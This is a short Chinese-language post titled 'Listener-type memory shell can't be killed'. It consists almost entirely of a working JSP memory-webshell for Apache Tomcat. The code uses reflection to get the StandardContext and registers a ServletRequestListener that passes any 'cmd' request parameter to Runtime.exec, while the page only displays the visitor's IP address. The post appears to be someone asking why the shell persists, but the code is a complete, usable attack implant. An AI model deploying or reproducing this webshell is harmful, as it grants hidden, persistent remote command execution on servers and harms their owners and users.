Listener型内存马杀不掉

[MagpieRYL]

Listener型内存马杀不掉：

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.stream.Stream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
    public class Shell_Listener implements ServletRequestListener {

        public void sink_method() {

        try{
            System.out.println("START DUMP TRACE:");
            Stream.of(Thread.currentThread().getStackTrace()).forEach(System.out::println);
            System.out.println("END DUMP TRACE.");
        } catch (Exception e) {
            ;
        }

        }

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   this.sink_method();
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }

        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
    out.println("Your IP address is " + request.getRemoteAddr());
%>